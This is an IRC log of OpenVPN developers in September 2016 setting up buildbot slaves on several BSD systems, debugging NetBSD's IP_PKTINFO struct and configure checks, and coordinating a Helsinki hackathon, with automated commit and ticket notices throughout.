<@cron2> IV_NCP signals a very specific set of capabilities, and "must be able to handle AEAD" is one of them 14:05 <@cron2> the server has no other way to know what ciphers a client might support --- Day changed Tue Sep 13 2016 02:45 <@mattock> T-shirts arrived and they don't suck 04:04 <@plaisthos> mattock: wheee! 04:04 <@plaisthos> (probably too small then) 04:46 <@cron2> mattock: \o/ 04:48 <@mattock> plaisthos: are you sure you're not Finnish? I sense the same sort of negativity :D 04:49 <@mattock> the only odd issue is that the blue in "VPN" looks quite turquose, not some much dark blue 04:49 <@mattock> it's still acceptable imho 04:52 <@cron2> mattock: same password as the existing buildbots? 04:55 <@mattock> yes 05:01 <@cron2> obsd60: openvpn up \o/ - slavename is "slave-cron2-openbsd-60-amd64" 05:03 <@cron2> mmmh 05:04 <@cron2> 2016-09-13 12:02:45+0200 [Broker,client] unauthorized login; check slave name and password 05:11 <@cron2> next one is slave-cron2-netbsd-70-i386 05:18 <@cron2> mattock: don't run away :) 05:22 <@cron2> 3rd one is slave-cron2-freebsd-103-amd64 05:49 <@plaisthos> mattock: hm, no just experience with t-shirts :) 05:51 <@dazo> [OT] ... this is just too funny ... http://image-store.slidesharecdn.com/6ebf8ccb-3a43-4772-bd2e-1dc686a1a85e-large.jpeg 06:06 <@plaisthos> hm 06:06 <@plaisthos> this buildbot stuff is confusing 06:07 <@plaisthos> and the manual seems to be for much newer version 06:10 <@cron2> plaisthos: what did you install? it should be fairly straightforward - python easy_install buildbot-slave 06:10 <@cron2> create a buildbot user, and as that user, run "buildslave-create $directory 10.177.36.101:9989 <yourbotname> <passwordforbuildmaster> 06:11 <@cron2> and then (again, as that user) buildslave start $directory... 06:12 <@cron2> oh 06:12 * cron2 forgot the sudo bits 06:13 <@cron2> mattock: indeed, our "SettingUpBuildslave" page really should just include the 2 relevant buildslave commands, instead of pointing at the full doc 06:15 <@vpnHelper> RSS Update - tickets: #733: IOS 9.2.1 client is ignoring proto udp <https://community.openvpn.net/openvpn/ticket/733> 06:26 <@plaisthos> cron2: the wiki told to install buildbot in version 0.8.5 06:27 <@plaisthos> mattock: cron2 told me I need a botname and a password for buildmaster :) 06:28 <@plaisthos> and I guess the community vpn 06:43 <@plaisthos> we are checking for functiosn with configure we don't even use ... 06:43 <@plaisthos> like gethostbyname 06:44 <@plaisthos> OpenVPN 2.3_git [git:master/cbc3c5a9831b44ec] x86_64-apple-darwin15.6.0 [SSL (mbed TLS)] [LZO] [LZ4] [MH] [IPv6] built on Sep 13 2016 06:44 <@plaisthos> whee, even mbed TLS builds on OS X work 06:58 <@mattock> can you guys add the correct commands to the buildbot wiki page? I don't typically use those commands, so I can't recall how they work exactly? 07:10 <@cron2> mattock: so your buildbots are all puppetized? 07:15 <@syzzer> valdikss, dazo: this is how james defined NCP 07:16 <@syzzer> valdikss: and please create a ticket for the typo-crash. That should (and will) be fixed, but I need a way to not forget ;) 07:16 <@syzzer> I'm thinking about extending NCP for 'proper negotiation', but that will also complicate things... 07:18 <@cron2> mattock: I've added commands 07:18 <@syzzer> oh, and people should really not disable AEAD/GCM in their builds, since that will also disable TLS 1.2... 07:23 <@cron2> plaisthos: yes, configure, our beloved kitchen sink. I think we should kick out everything that we either do not use at all - and then we should consider stuff like "getaddrinfo()". What will we do if that is not found? We are not shipping a compat/ implementation - nor do we *need* one, since the limiting factor is always "does the OS have a tun/tap device?"... 08:09 <@cron2> Test sets succeded: 1 2 3 4 5 6. 08:09 <@cron2> Test sets failed: none. 08:09 <@cron2> openbsd 6.0 looks good :) 08:29 <@plaisthos> cron2: we do not check for getaddrinfo as I forgot to add it to configure 08:29 <@plaisthos> cron2: we only check for the outdated apis we don't use anymore :P 08:29 <@cron2> plaisthos: lol. We should change that :-) 08:49 <@cron2> woops 08:49 <@cron2> * master cf31d5f [origin/master: behind 356] Call init script helpers with explicit path (./) 08:49 <@cron2> ... this box hasn't seen much testing recently 09:22 <@cron2> Test sets succeded: 1 1a 1b 1c 2 2a 2b 3 4 4a 5 6 8 9. 09:22 <@cron2> All 3 tests passed 09:22 <@cron2> freebsd 10.3 looks good :) 09:23 <@dazo> cron2: are there any libc nowadays which do not have the getaddrinfo() replacement present? 09:23 <@dazo> or rather, any relevant/important libc 09:23 <@cron2> dazo: I'm sure that there are libc that do not have getaddrinfo() 09:23 <@cron2> but... 09:24 <@cron2> I'm equally sure that all operating systems that do have tun or tap *do* have getaddrinfo(), socket(), and all these things 09:24 <@dazo> exactly ... I'm in favour if kicking out such legacy support if it is not strictly needed 09:24 <@cron2> my words since 5+ years :-) 09:25 <@cron2> we do test for tons of functions and headers in configure that we do not use, or even if the test would ever return "no, not there!" we wouldn't know how to handle 09:25 <@dazo> after all, there are so many defects with getaddrinfo() compared to the alternatives which makes it odd to have full support for it 09:25 <@cron2> what? 09:26 <@dazo> like the order of how records are reported, lack of IPv6 and so on 09:26 <@cron2> there are no alternatives to getaddrinfo() 09:26 <@dazo> I don't recall all of them now ... but I've seen enough mailing lists where people scream at it 09:26 <@dazo> maybe I'm confusing it with some other function then 09:26 <@cron2> you are :-) 09:27 <@dazo> yeah ... I'm probably mixing it with gethostbyname() and gethostbyaddr() 09:27 <@cron2> (of course getaddrinfo() is not exactly easy to understand - the behaviour is well-defined, but differs subtly depending on flags, configured addresses, and operating systems - and this is all for good reason) 09:27 <@dazo> right 09:27 <@cron2> gethostbyname() is the 20+ year old ipv4-only "and really only a single address" piece of history 09:27 <@dazo> sorry about that confusion! 09:28 <@dazo> right 09:28 <@cron2> oh, I'm absolutely sure people complain about getaddrinfo() all day :-) 09:28 <@dazo> hehe probably :) But I really meant the other legacy stuff :) 09:29 <@cron2> but anyway :-) - you *might* know... 09:29 <@cron2> in bits/in.h, there is 09:30 <@cron2> struct in_pktinfo 09:30 <@cron2> which has, on Linux 09:30 <@cron2> struct in_addr ipi_spec_dst; /* Routing destination address */ 09:30 <@cron2> struct in_addr ipi_addr; /* Header destination address */ 09:30 <@cron2> OpenVPN uses ipi_spec_dst for everything (which works) 09:31 <@cron2> now NetBSD also introduced this functionality, so our code tries to use it ("#ifdef IP_PKTINFO") and blows up, because NetBSD only has 09:31 <@cron2> struct in_addr ipi_addr; /* src/dst address */ 09:31 <@cron2> you wouldn't have any idea what the difference between ipi_spec_dst and ip_addr is, and why we're using ipi_spec_dst? 09:32 <@dazo> No, but I sure can dig into the kernel code and have a look .... that info have to come from there anyhow 09:32 <@cron2> the NetBSD pkgsrc patch is somewhat intrusive (adding quite a bit of stuff to configure to see whether "ipi_spec_dst" exists, and then adds more #ifdefs)... which is not exactly to my liking 09:32 <@cron2> dazo: that would be appreciated 09:34 <@dazo> cron2: is that used for both IPv4 and IPv6? (me was too lazy to dig into that detail) 09:35 <@cron2> IPv6 has IPV6_RECVPKTINFO, which has its own share of #ifdef :) 09:35 <@dazo> goodie ... that narrows my scope considerably 09:38 <@plaisthos> cron2: that the best way of fixing software, don't report it to upstream, just put a big patch in package management 09:38 <@dazo> lol 09:40 <@cron2> I can see that systems might need to do that if upstream isn't interested, but in this case I can't remember having ever seen an official-looking mail from NetBSD folks (and there does not seem to *be* a maintainer for net/openvpn right now) 09:40 <@cron2> FreeBSD usually works out well - we break something, mandree puts in a fix and mails us "hey, you broke it, here's the patch" :) 09:41 <@plaisthos> debian even has a documentation patch that is wrong 09:41 < Thermi> Debian is the devil. 09:41 <@cron2> there is a trac ticket which mentions "master does not compile", which sort of motivated me to have "most recent release" buildbots 09:42 <@cron2> t_client is full of shit *grumble*... which loser wrote that... 09:42 <@dazo> cron2: which syscall do you do when you extract pktinfo? getsockopt? 09:42 <@cron2> if I remember right, it's coming in as ancilliary data on recvmsg() 09:43 <@dazo> ahh, okay ... need to look what that code path does 09:43 <@cron2> (for UDP, the target address could be different *per packet*...) 09:43 <@cron2> nah, recvfrom() 09:44 <@dazo> both ipi_spec_dst and ipi_addr are set a few places but only one place are both set at the same time - even pointing at the same thing (getsockopt()) 09:44 <@cron2> recvmsg() is it, and its then hidden in *msg_name, I think 09:45 <@dazo> alright 09:51 <@plaisthos> sendmsg/rcvmsg is an obscure api in itself 10:01 <@vpnHelper> RSS Update - tickets: #734: netbsd 7.0.1 / i386: show-gateway for IPv6 broken <https://community.openvpn.net/openvpn/ticket/734> 10:04 <@dazo> cron2: afaict ... ipi_addr is not set in the code paths which recv()/recvmsg() calls ... ipi_spec_dst is set though 10:05 <@dazo> will double check, but the code paths which sets ipi_addr seems to be related to some sunrpc/svcsocket code paths not UDP 10:06 <@dazo> also it seems this is only set on UDP packets, not TCP 10:07 <@dazo> otherwise, getsockopts() seems to be the only other code path which sets both ipi_addr and ipi_spec_dst 10:12 <@cron2> seems we need ipi_spec_dst on Linux, then, and ipi_addr (or IP_RECVDESTADDR) on NetBSD... 10:12 <@cron2> thanks for looking 10:13 * cron2 is a bit distracted right now, because a medium-sized DoS is interfering with my tests *annoyance* 12:04 <@ecrist> like, DOS 3.1, or a newer DOS? --- Log closed Tue Sep 13 14:18:46 2016 --- Log opened Tue Sep 13 14:58:54 2016 14:58 -!- Irssi: #openvpn-devel: Total of 24 nicks [6 ops, 0 halfops, 1 voices, 17 normal] 14:58 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 14:58 -!- Irssi: Join to #openvpn-devel was synced in 3 secs 15:21 <@cron2> these NetBSD pkgsrc patches make less and less sense... well, some of them *might* have, for OpenVPN 2.2.x, but stuff like TAPGIFNAME is in 2.3 proper since at least 2.3.0 15:23 <@cron2> ok... that patch dates back to 1.6-beta1 from 2006... "just nobody has ever bothered to remove it again" 15:54 <@vpnHelper> RSS Update - tickets: #735: netbsd: named tap devices not auto-created <https://community.openvpn.net/openvpn/ticket/735> --- Day changed Wed Sep 14 2016 01:12 <@cron2> mornin 01:27 <@mattock> morning 01:35 <@cron2> aaah, mattock-man is back :-) 01:35 <@cron2> so, how can we proceed with the buildslaves? 01:36 <@mattock> yes 01:36 <@mattock> where are you guys at? 01:36 <@mattock> in the process 01:36 <@cron2> "you have configured different names for the buidlslaves than I have", so my slaves can't login. Everything else should be done... 01:38 <@cron2> besides that, freebsd-100-amd64 and openbsd-60-amd64 should be ready to rumble - everything is there, including a full t_client.rc which passed all tests yesterday 01:38 <@cron2> netbsd-70-i386 is also ready, but will fail compilation - working on that :) 01:41 <@cron2> (no idea how far plaisthos has come yesterday) 01:53 <@mattock> ok, I will fix the slave names 01:54 <@cron2> thanks 01:54 <@mattock> so how are your slaves named exactly? as above? 01:55 <@mattock> because earlier I just reused the LDAP usernames, and I believe buildmaster.cfg adds "-slave" suffix to those automatically 01:55 <@mattock> I'll check 01:57 <@mattock> actually, the slave names are like this: slave-netbsd-70-i386 02:16 <@cron2> mattock: you have the list in your mail :) 02:16 <@cron2> slave-cron2-openbsd-60-amd64 02:16 <@cron2> slave-cron2-netbsd-70-i386 02:16 <@cron2> slave-cron2-freebsd-103-amd64 02:16 <@cron2> (which is in line with the older cron2-slaves) 02:18 <@plaisthos> mattock, cron2: from what I gathered I need the buildmaster pw for setting up slave and also the community vpn files 02:18 <@plaisthos> hm, no syzzer here 02:19 <@plaisthos> I got a report of my client crashing with --null cipher but did not test myself 02:23 <@vpnHelper> RSS Update - tickets: #736: Opening profiles from iCloud Drive doesn't work (iOS 9 + 10) <https://community.openvpn.net/openvpn/ticket/736> 02:32 <@cron2> plaisthos: you need a community VPN .conf + account -> mattock 02:32 <@cron2> and then you need a buidlslave name + PW -> mattock, too :-) 02:33 <@cron2> (account is self-service on https://community.openvpn.net/pwm/private/Login -> create account -> tell mattock to move to proper LDAP group) 02:55 <@mattock> sorry guys, there are hectic internal discussion going on, will get to this in a few minutes 03:06 <@mattock> cron2: slave names fixed, buildmaster restarted 03:06 <@mattock> will need to go renovate the house now, but I'll check back occasionally 03:09 <@cron2> mattock: ok, let's see... 03:13 <@cron2> 2016-09-14 10:11:01+0200 [Broker,client] unauthorized login; check slave name and password 03:13 <@cron2> obsd60 03:13 <@mattock> uh 03:13 <@mattock> slave-cron2-openbsd-60-amd64 ? 03:14 <@cron2> yes 03:14 <@mattock> and the password is 100% correct? 03:14 <@mattock> there is a slave named like that, according to "buildslaves" view 03:14 <@cron2> what password have you set? I have copied the password from one of the other slaves 03:15 <@cron2> "something much longer than the VPN password" 03:16 <@mattock> I'll check buildmaster's logs 03:16 <@mattock> the password is static 03:16 <@cron2> let me check 03:16 <@mattock> invalid login from user 'slave-cron2-openbsd-60-amd64' 03:16 <@cron2> oh, a "#" sneaked in 03:16 <@mattock> :) 03:17 <@cron2> 2016-09-14 10:15:29+0200 [Broker,client] SlaveBuilder.remote_print(builder-cron2-openbsd-60-amd64-stable-master): message from master: attached 03:17 <@cron2> whee! 03:17 <@cron2> good, next one 03:18 <@cron2> fbsd100... 03:20 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:20 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 03:20 <@cron2> works! 03:20 <@mattock> great! 03:20 <@cron2> (including "comes up properly when rebooting the VM") 03:21 <@mattock> that's a good feature :) 03:23 <@cron2> indeed, my older VMs tend to "manual action is needed"... 03:23 <@cron2> ok, next thing: please *kill* fbsd82 03:23 <@cron2> we now have *four* FreeBSD buildslaves, and that's just unnecessary 03:24 <@cron2> (so we keep fbsd74, fbsd93, fbsd103) 03:55 <@mattock> cron2: ok, killing 03:56 <@mattock> done 05:52 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: IRC for Sailfish 0.9] 06:51 <@plaisthos> hmpf only crash on my app with cipher none, not on my mac 09:35 < valdikss> hey guys, fknittel seems to abandon or just forgot about OpenVPN but he has a very useful patch which introduces async interface for client-connect for pluginsv2 and scripts. And it still applies to the master quite well. Should I post a clear patch to the mail list? 10:07 <@dazo> I vaguely remember those patches, and I have a guilt feeling when it comes to fknittel ... he's could have been treated better by us (he's also behind the first round of VLAN support patches) ... I think one of the issues is that none of us have seen much requests for those features, which makes us reluctant to consider them; as we've had way too much to take care of already 10:17 <@plaisthos> yeah :( 10:18 <@cron2> the main stumbling block for complicated patches is often "does one of the core developers have a personal need (of any sort) to see this implemented" 10:18 <@cron2> like the RGI6 stuff which was "people talk to me at meetings and complain that v6 support isn't good enough"... 10:19 <@plaisthos> or my dual stack stuff 10:19 <@plaisthos> v4/v6 was just too broken and mobile tend to switch networks to often to work with fixed v4/v6 configs 10:34 <@cron2> so, hows your buildslave coming on? 10:35 <@plaisthos> had other things to do 10:36 <@plaisthos> and mattock hides :) 10:43 <@dazo> mattock doesn't even respond on internal chat 10:44 <@dazo> (there's an Italian away message though ... "Sono momentaneamente assente") 10:44 <@dazo> probably means "I'll be back when you least expect it" 10:53 < valdikss> dazo: plaisthos: well, this patch is essential for me as I need to authenticate clients using remote server and traffic should flow while authentication is checking 10:53 < valdikss> dazo: plaisthos: and the patch work quite well, I haven't had any problems with it 10:58 < valdikss> Anyway, I made a semi-dirty patch to check ncp-ciphers on start, RFC. https://github.com/ValdikSS/openvpn-with-patches/commit/74613253972252d871fd5855a934b8ce31010424 10:58 <@vpnHelper> Title: Verify ncp-ciphers on start · ValdikSS/openvpn-with-patches@7461325 · GitHub (at github.com) 11:04 < valdikss> Should I move it to a function? 12:20 <@cron2> valdikss: have you created a trac ticket for that one yet, assigned to syzzer? 12:32 < valdikss> cron2: no 12:40 <@cron2> please do :) 13:21 < valdikss> cron2: are you in charge for wiki? 13:21 < valdikss> cron2: I bet you can beat spam by a non-standard captcha 13:21 < valdikss> cron2: like, just a Q/A with unusual questions 13:21 <@cron2> valdikss: mattock and ecrist are in cahrge 13:22 < valdikss> mattock: ecrist ^^ 13:22 * cron2 just tries to hold the code puzzle together 13:33 <@vpnHelper> RSS Update - tickets: #737: ncp-ciphers are not validated early <https://community.openvpn.net/openvpn/ticket/737> 13:40 < valdikss> cron2: ^ 13:43 <@cron2> thanks 14:30 < valdikss> https://community.openvpn.net/openvpn/ticket/611 please close 14:30 <@vpnHelper> Title: #611 (VyprVPN violates GPL) – OpenVPN Community (at community.openvpn.net) 14:44 -!- mode/#openvpn-devel [+o d303k] by ChanServ 14:45 <@d303k> mattock, lev__: what's the weathe like? 15° means pants or shorts? 14:46 * cron2 will bring sandals and a jacket :) 14:46 <@d303k> yeah thought about shorts, sneakers and a zipper hoodie 14:48 <@d303k> … but natives probably know best 14:55 <@dazo> d303k: if the weather is similar to Tallinn .... 15°C is definitely pants .... there are no gulf stream in that area, and that is quite noticeable 14:58 * dazo need to get started packing 15:07 <@ecrist> valdikss: is there spam? 15:08 < valdikss> ecrist: no afaik 15:09 < Thermi> valdikss: LOL the people's technical sophistication only reaches as far as editing a string in a C source code. I guess they built their services purely on guides on the internet, too? :D 15:12 < valdikss> Thermi: sometimes wiki get spammed and now it's closed from editing by any registered user 15:12 < Thermi> valdikss: I lol'ed at ticket 611 15:12 < valdikss> Thermi: I think that bots can be mitigated by something non-standard. At least it helped me with mediawiki 15:13 < Thermi> And the strongSwan wiki also gets regular spam attacks. 15:14 < Thermi> AFAIR the wiki now uses captchas 15:17 <@d12fk> dazo: thanks, I'll pack some pants if my manhood fails me =) 15:43 <@cron2> well, my *manhood* wants to be kept warm, so I'll certainly bring pants :) --- Day changed Thu Sep 15 2016 02:09 <@cron2> mornin' 02:24 <@plaisthos> morning 02:24 * plaisthos is on his way to the aiport 03:02 <@cron2> save flight 06:47 * d12fk is in front of the Hotel with one hour to kill until they let me in. Anyone downtown? 06:49 <@d12fk> Anyways. How about Meeting later for a little Walking around in Helsinki? 07:05 -!- kettlecalling is now known as slypknot 07:16 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 07:16 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 07:17 <@syzzer> hm, seems my bouncer left this channel 1,5 day ago. what did I miss? 07:23 <@d12fk> syzzer: bring pants! 07:26 <@syzzer> d12fk: ok, will do :') 07:27 <@ecrist> valdikss: if you need/want edit rights, I can add you, i'ts pretty simple 07:27 <@d12fk> Winter is coming (to Finnland at least) 07:55 <@cron2> syzzer: nothing in particular. Mattock and I have been fighting buildbots :) 07:55 <@cron2> syzzer: andj is definitely not coming? 07:57 <@ecrist> cron2: did you find someone to host a solaris buildbot? 07:57 <@cron2> ecrist: not yet 07:59 <@ecrist> is the big hurdle that you aren't familiar with solaris? 08:00 <@cron2> more like "which version to get?" and "is there a way to get the real thing, with the real Sun C compiler?" 08:00 <@ecrist> ah 08:00 <@cron2> (we have patches and #ifdefs floating around that are "because Sun C needs this!") 08:01 <@ecrist> what version are you thinking you want? 08:01 <@cron2> I have an OpenSolaris 10 buildbot, but that's using gcc, and the OS is 5+ years old, so "something current" would be good - and if someone else is already maintaining the system, even better 08:01 <@ecrist> so, there isn't really such a thing as "current" with solaris anymore 08:02 <@ecrist> it's dead, jim 08:02 <@cron2> well, there's OpenIndiana, I've been told - is that not maintained? what about Oracle Solaris? 08:03 <@ecrist> oracle solaris seems sorta updated 08:03 <@ecrist> 11.3 was released in october 2015 08:05 <@ecrist> at $work we're working on getting rid of all our solaris systems 08:05 <@cron2> now that would be an interesting version to test, but nobody seems to understand the licensing anymore :) 08:05 <@ecrist> they are too much a pain to update these days 08:05 <@cron2> my UltraSparc systems have all moved from Solaris to FreeBSD/Sparc64 :-) 08:05 <@ecrist> I have some solaris 10 boxes around 08:06 <@syzzer> cron2: yes, andj is definitely not coming :( 08:06 <@ecrist> I even have 3 blade 100's around here 08:06 <@cron2> U60, 420R, Fire240 here :) 08:06 <@cron2> plus a stack of U5/U10 that are hidden in some dark corner 08:07 <@cron2> syzzer: please slap him for accepting bad deadlines! 08:07 <@syzzer> heh, I will 08:08 <@cron2> syzzer: I'll arrive 40 minutes before you tomorrow, but I do not think (unless my flight gets delayed) to wait for you - trip to central station and F-Secure shouldn't take very long 08:09 <@syzzer> 40 minutes is quite a wait anyway, so I'll see you at F-Secure then :) 12:35 < valdikss> https://www.exploit-db.com/exploits/40380/ 12:51 <@cron2> obsd60 buildslave is all green now! 14:31 <@vpnHelper> RSS Update - tickets: #738: t_client together with SUDO fails on FreeBSD 10.3 <https://community.openvpn.net/openvpn/ticket/738> 14:41 < Hes> Hi, and welcome to our office & sauna tomorrow. I'll come say Hi too. 15:14 <@cron2> hi, and thanks for the welcome :) (I'm still @home, will come tomorrow) 15:14 <@cron2> fbsd103 buildslave also all green! 16:49 -!- cron2 [~hunger@openvpn/community/developer/cron2] has quit [Ping timeout: 250 seconds] 19:39 <@ecrist> Am I retarded, or did I find a bug with --tls-auth? 19:39 <@ecrist> it seems that if I use inline tls-auth keys and set key-direction (0 on server, 1 on client), my connection fails. 19:39 <@ecrist> if I omit key-direction, it works fine 19:40 <@ecrist> it doesn't seem to matter what values I put in for key-direction 19:46 <@ecrist> I take that back, it doesn't work fine (I just can't read, apparently) 20:42 <@ecrist> nevermind, I'm just a n00b --- Day changed Fri Sep 16 2016 01:04 -!- cron2_ [~hunger@openvpn/community/developer/cron2] has joined #openvpn-devel 01:04 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 01:04 <@cron2_> mornin' 01:04 <@cron2_> so how was the vodka yesterday? ;-) 01:19 * dazo opted for the less alcohol infused water yesterday :-P 01:20 <@dazo> weee!!!! https://github.com/OpenVPN/openvpn3 01:20 <@vpnHelper> Title: GitHub - OpenVPN/openvpn3 (at github.com) 01:21 <@cron2_> indeed :) 01:21 <@cron2_> so, boarding... 03:01 < bash1235123> hey, I'm getting "WARNING: Bad encapsulated packet length from peer ...". any ideas why ? I have openvpn server listening on a low port 03:24 <@dazo> bash1235123: try asking in #openvpn ... this isn't really development related 03:27 < bash1235123> dazo: I also asked here because google says that this is a generic error that openvpn throughs 03:28 < bash1235123> while its actually a warning connection gets reset 03:29 <@dazo> bash1235123: see my response on #openvpn 03:29 < bash1235123> I did :) 03:30 < bash1235123> thnx 03:30 * dazo is unfortunately need to focus on some other things right now 05:34 <@cron2_> anyone here? 05:35 * cron2_ sits in the f-secure lobby and lev is hiding... 05:50 -!- cron2_ is now known as cron2 09:12 <@dazo> cron2: https://gitlab.com/dazo/misc-git-tools 09:12 <@vpnHelper> Title: David Sommerseth / misc-git-tools · GitLab (at gitlab.com) 09:18 <@cron2> thanks 10:04 <@vpnHelper> RSS Update - gitrepo: Drop gnu89/c89 support, switch to c99 <https://github.com/OpenVPN/openvpn/commit/058f0efdec63aba911addee9ab205382c4762d06> 10:11 <@vpnHelper> RSS Update - gitrepo: Do not abort t_client run if OpenVPN instance does not start. <https://github.com/OpenVPN/openvpn/commit/a7b02f7f660707f765881f35867b4d23d89b390f> 11:53 < slypknot> Have a good evening there in Finland 11:56 <@dazo> thx! 11:59 <@vpnHelper> RSS Update - gitrepo: cleanup: remove code duplication in msg_test() <https://github.com/OpenVPN/openvpn/commit/d7ce876841d1d5b01940251f92780fdbb05b4df0> --- Day changed Sat Sep 17 2016 01:29 <@cron2> mornin' :) 02:12 <@cron2> plaisthos: ac_cv_type_struct_in_pktinfo=no in the "darwin" section might do the trick 03:27 <@plaisthos> slavename = 'slave-plaisthos-macosx-amd64' 03:27 <@plaisthos> slavename = 'slave-plaisthos-macosx-amd64' 03:27 <@plaisthos> slavename = 'slave-plaisthos-macosx-amd64' 03:27 <@plaisthos> slavename = 'slave-plaisthos-macosx-amd64' 04:28 <@vpnHelper> RSS Update - gitrepo: initial travis-ci support <https://github.com/OpenVPN/openvpn/commit/368991264d82f038bde30a67910ac6c7681a4ba9> 04:54 < lev__> drop recursive routing v3: https://github.com/lstipakov/openvpn/commit/fec2d8e9a5de9f9740275c65b0e9addcd107e2fc 04:54 <@vpnHelper> Title: Drop recursively routed packets · lstipakov/openvpn@fec2d8e · GitHub (at github.com) 05:04 <@vpnHelper> RSS Update - gitrepo: t_client.sh: Make OpenVPN write PID file to avoid various sudo issues <https://github.com/OpenVPN/openvpn/commit/e0926ebfe55347843af701216be9598827a1367a> 05:22 <@vpnHelper> RSS Update - gitrepo: skip t_lpback.sh and t_cltsrv.sh if openvpn configured --disable-crypto <https://github.com/OpenVPN/openvpn/commit/a85ba0e06badf9932e80deb53b68f50611943c6e> 05:31 <@cron2> plaisthos: 05:32 <@cron2> In file included from ./plugin.h:33: 05:32 <@cron2> ./ssl_verify_openssl.h:34:10: fatal error: 'openssl/x509.h' file not found 05:34 <@vpnHelper> RSS Update - gitrepo: Show compile-time variant for --multihome in --version output. <https://github.com/OpenVPN/openvpn/commit/d7c15ff12a8790c2ad2e0adc0e191c32f081463f> || Fix IP_PKTINFO related compilation failure on NetBSD 7.0 <https://github.com/OpenVPN/openvpn/commit/7efa60d9790e029b8f9efd6a0ca06312d31d3420> 06:35 <@vpnHelper> RSS Update - gitrepo: t_client.sh: Improve detection if the OpenVPN process did start durin… <https://github.com/OpenVPN/openvpn/commit/3712322ee1219e55640f2f4e5f822799edacd7cc> || t_client.sh: Add support for Kerberos/ksu <https://github.com/OpenVPN/openvpn/commit/6b25b99fe4b8bdf5cdba4a0fb247df40277d0525> 06:59 <@vpnHelper> RSS Update - gitrepo: Fix ENABLE_CRYPTO_OPENSSL set to YES even with --disable-crypto set <https://github.com/OpenVPN/openvpn/commit/d13a40a4a477bae3efede6945174df1cb2c3aa69> 07:03 <@cron2> mattock: Subject: [Openvpn-devel] [PATCH] Windows: do_ifconfig() after open_tun() 07:35 <@vpnHelper> RSS Update - gitrepo: Add SHA256 fingerprint support <https://github.com/OpenVPN/openvpn/commit/af1e4d26ab65bd71de168ea621ca55d0e40a0bc1> 07:49 <@dazo> https://community.openvpn.net/openvpn/ticket/725 ... https://bugzilla.redhat.com/attachment.cgi?id=1193087 ... https://bugzilla.redhat.com/show_bug.cgi?id=1369260 07:49 <@vpnHelper> Title: #725 (Consider to add FIPS support in OpenVPN) – OpenVPN Community (at community.openvpn.net) 07:49 <@dazo> syzzer: ^^^ 07:53 <@vpnHelper> RSS Update - gitrepo: Prefer RECVDSTADDR to PKTINFO for IPv4 in OS X since it actually work… <https://github.com/OpenVPN/openvpn/commit/e7303ace6f101bbe61c3251c080975cf5c261f71> 08:06 <@plaisthos> gcc -dM -E - < /dev/null 08:07 <@cron2> #define WIN32 1 09:38 <@mattock> win32.o:win32.c:(.text+0x2a08): undefined reference to `add_block_dns_filters' 09:38 <@mattock> win32.o:win32.c:(.text+0x2aa3): undefined reference to `delete_block_dns_filters' 09:38 <@mattock> /usr/bin/x86_64-w64-mingw32-ld: win32.o: bad reloc address 0x0 in section `.pdata' 09:38 <@mattock> collect2: error: ld returned 1 exit status 21:11 <@ecrist> You guys are busy. I'm impressed. --- Day changed Sun Sep 18 2016 01:39 <@cron2> ecrist: it's called a hackathon :) 02:14 <@d12fk> https://wiki.strongswan.org/projects/strongswan/wiki/Contributions#Contributing 02:14 <@vpnHelper> Title: Contributions - strongSwan (at wiki.strongswan.org) 02:28 <@vpnHelper> RSS Update - gitrepo: Support for disabled peer-id <https://github.com/OpenVPN/openvpn/commit/e8e1377d0fc3f11b65e415b68e6065d2e9eb836e> 02:50 <@cron2> plaisthos: cp: /home/buildbot/t_client.rc: No such file or directory 03:51 <@dazo> cron2: Regarding the query-user patches .... 03:51 <@dazo> [PATCH 1/4] ACK - Selva: https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg00137.html 03:51 <@dazo> [PATCH 2/4] Need ACK: https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg12424.html 03:51 <@dazo> [PATCH 3/4] (not needed after changes in 4/4) 03:51 <@dazo> [PATCH 4/4] ACK - Selva: https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg12405.html 03:51 <@vpnHelper> Title: [Openvpn-devel] [PATCH v4.1 1/4] Rework the user input interface to make it more modular (at www.mail-archive.com) 03:51 <@vpnHelper> Title: [Openvpn-devel] [PATCH v4.1 2/4] Re-implement the systemd support using the new query user API (at www.mail-archive.com) 03:51 <@vpnHelper> Title: [Openvpn-devel] [PATCH v4.1] systemd: Do not mask usernames when querying for it via systemd-ask-password (at www.mail-archive.com) 03:53 <@dazo> cron2: 1470999445-4288-1-git-send-email-davids@openvpn.net ... that should be PATCH 2/4 03:54 * cron2 has it all in the mailbox 04:58 <@dazo> http://www.linuxjournal.com/article/7881?page=0,2 [LJ article, 2005 ... OpenVPN, tinc, CIPE, vtun] 05:01 <@dazo> https://www.cs.auckland.ac.nz/~pgut001/pubs/linux_vpn.txt [Peter Gutman's review ... from 2003] 06:58 <@vpnHelper> RSS Update - gitrepo: Incorporate the Debian typo fixes where appropriate and make show_opt… <https://github.com/OpenVPN/openvpn/commit/c42fcbfe708f4c97da063642cf8874f0d4d1a645> 07:19 <@cron2> mattock: patch v2 on the list 07:24 <@dazo> plaisthos: https://community.openvpn.net/openvpn/ticket/328 ... isn't that fixed with your timeout patches? 07:24 <@vpnHelper> Title: #328 (openvpn client gives up instead of retrying when proxy server is slow) – OpenVPN Community (at community.openvpn.net) 07:25 * dazo wonders if we should just close it 07:27 <@cron2> I think we should point to the master commit and close it :) 07:52 <@mattock> http://build.openvpn.net/downloads/snapshots/openvpn-install-2.3_git-I601-fix-c99-do_ifconfig_after_open_tun-i686.exe 07:52 <@mattock> http://build.openvpn.net/downloads/snapshots/openvpn-install-2.3_git-I601-fix-c99-do_ifconfig_after_open_tun-x86_64.exe 07:54 <@cron2> mattock: can you put the openvpn.exe for i686 online as well? my test box is a bit... messy, so I do not want to install the full installer 07:57 <@mattock> http://build.openvpn.net/downloads/snapshots/openvpn-fix-c99-do_ifconfig_after_open_tun-i686.exe 08:03 <@cron2> thanks 08:19 <@syzzer> heh, there's power sockets in the train to the airport \0/ 08:20 <@mattock> http://build.openvpn.net/downloads/snapshots/openvpn-i686-w64-mingw32-001-bin.tar.bz2 08:22 <@cron2> thanks 08:22 <@cron2> syzzer: cool :) 08:35 